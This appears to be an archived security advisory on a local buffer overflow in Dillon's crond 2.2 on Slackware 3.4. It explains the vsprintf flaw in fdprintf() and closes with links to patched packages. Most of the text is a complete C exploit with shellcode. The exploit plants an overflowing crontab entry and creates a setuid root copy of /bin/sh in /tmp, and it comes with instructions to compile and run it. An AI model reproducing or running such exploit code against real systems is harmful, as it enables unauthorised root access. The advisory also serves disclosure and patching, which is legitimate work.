COMMAND
dillon crontab / crond ( dcron 2.2 )
SYSTEMS AFFECTED
Linux Slackware 3.4
PROBLEM
KSR[T] in their Advisory #005 covers following problem. The crond
that comes with Slackware 3.4 contains a locally exploitable
buffer overflow. When crond attempts to run a particular cronjob,
it will take the user specified command line and copy it into an
automatic variable via vsprintf(). ( This is done when the
function RunJob() calls fdprintf(), in job.c and subs.c
respectively.).
A quick glance shows another potential overflow in subs.c,
involving the logging functions. This is also fixed in the patch
below. Users with an account on the machine can gain root access.
Exploit follows:
/* Dillon's Crond v2.2 exploit */
/* */
/* There exists a buffer overflow in Slackware's */
/* /usr/sbin/crond in the fdprintf() function from subs.c */
/* [specifically vsprintf()]. Also take note that the overflow */
/* was discovered by the KSRT team. */
/* However, to exploit this, crond must be invoked without the */
/* -l option. By default, it is invoked with the -l option from */
/* the /etc/rc.d/rc.M script -> /usr/sbin/crond -l10 */
/* Therefore, by default this exploit will not work. However, */
/* if crond is running without the -l option, then root can be */
/* obtained. */
/* Simply compile and run this and look for a suid root shell */
/* in /tmp (/tmp/XxX) in about one minute. This exploit also */
/* seems to cause crond to segfault if X is runninga. Please */
/* use this in a responsible manner.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#define DEFAULT_OFFSET 560
#define DEFAULT_BUFFER_SIZE 980
#define TOTAL_BUFFER 4096
char shellcode[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/tmp/xo";
long get_esp(void) {
__asm__("movl %esp,%eax");
}
void calc_bs(int *bs_ptr)
{
int len=0;
struct passwd *p_name;
/* dependant on length of username */
p_name=getpwuid(getuid());
len=strlen(p_name->pw_name);
*bs_ptr = 986 - len;
return;
}
int main(int argc, char **argv) {
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i, ofs=DEFAULT_OFFSET;
int bs=DEFAULT_BUFFER_SIZE;
FILE *fp=NULL;
/* probably will not need to give argument */
if (argc==2)
ofs=atoi(argv[1]);
calc_bs(&bs);
buff=malloc(TOTAL_BUFFER);
if(!buff) {
perror("malloc");
exit(EXIT_FAILURE);
}
ptr=buff;
memset(ptr,0x90, bs-strlen(shellcode));
ptr += bs-strlen(shellcode);
for (i=0; i<strlen(shellcode); i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for (i=0; i<2; i++)
*(addr_ptr++)=get_esp()-ofs;
ptr=(char *)addr_ptr;
*ptr=0;
/* create binary in /tmp to make suid shell */
fp=fopen("/tmp/xo.c","w+");
if (!fp) {
fprintf(stderr,"Can't open /tmp/xo.c for writing!");
exit(EXIT_FAILURE);
}
fprintf(fp,"#include <stdio.h>\n");
fprintf(fp,"#include <stdlib.h>\n");
fprintf(fp,"main() {\n");
fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
fprintf(fp,"}\n");
fclose(fp);
/* compile our program to create suid shell */
system("cc -o /tmp/xo /tmp/xo.c");
unlink("/tmp/xo.c");
/* now use crontab to plant overflow for crond */
fp=fopen("r00t","w+");
if (!fp) {
perror("fopen");
exit(EXIT_FAILURE);
}
fprintf(fp,"%s\n",buff);
fclose(fp);
/* put our r00t crontab in crontabs directory */
system("/usr/bin/crontab r00t");
unlink("r00t");
/* helpful reminder */
printf("Now wait about 1 minute and look\n");
printf("for the suid shell -> /tmp/XxX\n");
exit(0);
}
SOLUTION
/usr/sbin/crond is installed with the bin.tgz package in Slackware
3.4. A patched version of this package is available from the
Slackware FTP site:
ftp://ftp.cdrom.com/pub/linux/slackware-3.4/slakware/a2/bin.tgz
The source and patch can also be found on the FTP site:
ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.tar.gz
ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.diff.gz